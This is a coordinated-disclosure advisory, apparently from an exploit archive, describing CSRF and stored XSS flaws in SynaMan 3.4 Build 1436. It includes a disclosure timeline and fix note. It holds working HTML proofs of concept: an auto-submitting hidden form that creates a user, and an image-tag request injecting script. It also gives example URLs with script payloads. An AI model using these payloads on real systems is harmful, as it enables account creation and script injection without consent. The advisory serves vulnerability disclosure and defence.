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# Exploit Title: Multiple vulnerabilities in SynaMan 3.4 Build 1436 (CSRF/Stored XSS) # Date: 07-05-2015 # Exploit Author: Marlow Tannhauser # Contact: marlowtannhauser@gmail.com # Vendor Homepage: http://www.synametrics.com # Software Link: http://web.synametrics.com/SynaManDownload.htm # Version: 3.4 Build 1436. Earlier versions may also be affected. # CVE: 2015-3140 # Category: Web apps # DISCLOSURE TIMELINE # 08/02/2015: Initial disclosure to vendor and CERT 09/02/2015: Acknowledgment of vulnerabilities from vendor 11/02/2015: Disclosure deadline of 01/03/2015 agreed with vendor 19/02/2015: Disclosure deadline renegotiated to 01/04/2015 at vendor's request 09/04/2015: Disclosure deadline renegotiated to 20/04/2015 at vendor's request 20/04/2015: Confirmation of fix from vendor 07/05/2015: Disclosure Note that the CVE-ID is for the CSRF vulnerability only. No CVE-ID has been generated for the stored XSS vulnerabilities. The vulnerable version of the product is no longer available for download from the vendor's webpage. # EXPLOIT DESCRIPTION # SynaMan 3.4 Build 1436 is vulnerable to CSRF attacks, which can also be combined with stored XSS attacks (authenticated administrators only). The JSESSIONID created when a user logs on to the system is persistent and does not change across requests. # POC 1 # The following PoC uses the CSRF vulnerability together with one of the stored XSS vulnerabilities, to create a new shared folder in the application. <html> <img src="http://192.168.0.8:6060/app?sharedName=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&selectedPath=C%3A\&publicRead=1&publicWrite=1&operation=mngFolders&st=addFolder" alt="" width="1" height="1"> </html> # POC 2 # The following PoC uses the CSRF vulnerability to create a new user with the details shown. <html> <body> <form name="evilform" method="post" action="http://192.168.1.67:6060/app?operation=mngUsers"> <input type="hidden" name="fullName" value="marlow"/> <input type="hidden" name="login" value="marlow@marlow.com" /> <input type="hidden" name="password" value="marlow" /> <input type="hidden" name="operation" value="mngUsers" /> <input type="hidden" name="st" value="saveUser" /> <input type="hidden" name="oldLogin" value="" /> <input type="hidden" name="modifyUser" value="false" /> </form> <script type="text/javascript"> document.evilform.submit(); </script> </body> </html> # STORED XSS VULNERABILITIES # Stored XSS vulnerabilities are present in the following fields: Managing Shared Folders > Shared folder name field Example URL: http://192.168.0.8:6060/app?sharedName=%3Cscript%3Ealert%28%22Hello1%22%29%3C%2Fscript%3E&selectedPath=C%3A\&publicRead=1&publicWrite=1&operation=mngFolders&st=addFolder Manage Users > Add a new user > User's name field and Email/Login field Example URL: POST request Advanced Configuration > Partial Branding > Main heading field and Sub heading field Affects all users on all pages, pre and post authentication Example URL: POST request Discovery Wizard > Discovery Service Signup > One-Word name Example URL: http://192.168.0.8:6060/app?oneword=%3Cscript%3Ealert%28%22Marlow%22%29%3C%2Fscript%3E&x=35&y=21&operation=discovery&st=checkAvailability # MITIGATION # Upgrade to the latest build of SynaMan, available from the link shown. |
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